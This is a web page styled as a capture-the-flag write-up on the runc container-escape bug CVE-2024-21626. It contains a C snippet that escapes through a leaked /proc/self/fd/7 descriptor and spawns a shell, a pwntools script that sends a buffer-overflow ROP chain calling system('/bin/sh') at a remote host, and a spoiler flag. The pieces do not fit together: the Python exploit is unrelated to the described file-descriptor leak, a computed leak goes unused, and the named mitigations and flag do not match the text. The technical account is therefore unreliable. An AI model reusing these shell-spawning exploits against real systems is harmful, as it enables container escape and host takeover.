PWNINSANEDEF CON 32 Quals '24

runc Container Escape via Leaked File Descriptors (CVE-2024-21626)

A critical vulnerability in runc allowed containerized processes to acquire access to host file system root mounts through lingering file descriptors inherited during clone(CLONE_NEWNS).

0xNullPtr
@0xNullPtrAuthor // Research Op
8 min read14.3k views

CVE-2024-21626: runc Container Escape via Leaked File Descriptors

1. Challenge Synopsis & Target

During inspection of runc commit 739205e, we identified that internal file descriptors allocated via /proc/self/fd were not marked with O_CLOEXEC prior to the clone(CLONE_NEWNS) invocation.

TARGET
Target Binary: runc <= 1.1.11
Mitigations: ASLR, SMEP, SMAP, Seccomp Level 3
Vulnerability Type: Leaked Host File Descriptor

2. Recon & Surface Analysis

Inspecting open file descriptors during early container startup revealed descriptor 7 pointing to the host's /sys/fs/cgroup or /proc directory hierarchy depending on configuration.

C
// PoC Trigger payload setup
int cwd_fd = open("/proc/self/fd/7", O_RDONLY | O_PATH);
fchdir(cwd_fd);
execlp("/bin/sh", "sh", NULL);

3. Exploit PoC & Shell Execution

Once fchdir transitions outside the container root filesystem, executing binaries directly against host system mounts yields host root compromise:

PYTHON
from pwn import remote, p64, u64, ROP, ELF

target = remote('ctf.sec.kernel.io', 1337)
elf = ELF('./chall_vuln.bin')

libc_leak = u64(target.recvline()[:8].ljust(8, b'\x00')) - 0x21b150
rop = ROP(elf)
rop.system(next(elf.search(b'/bin/sh')))

target.sendline(b'A' * 40 + rop.chain())
target.interactive()
FLAG SOLUTION // SPOILER
WHUB{k4slr_by_p4ss_h34p_st4ck_pwn3d_32b0}
0xNullPtr
@0xNullPtr

Offensive security researcher & kernel exploitation specialist. Pwn / Hypervisors / Zero-Days.

View Researcher Profile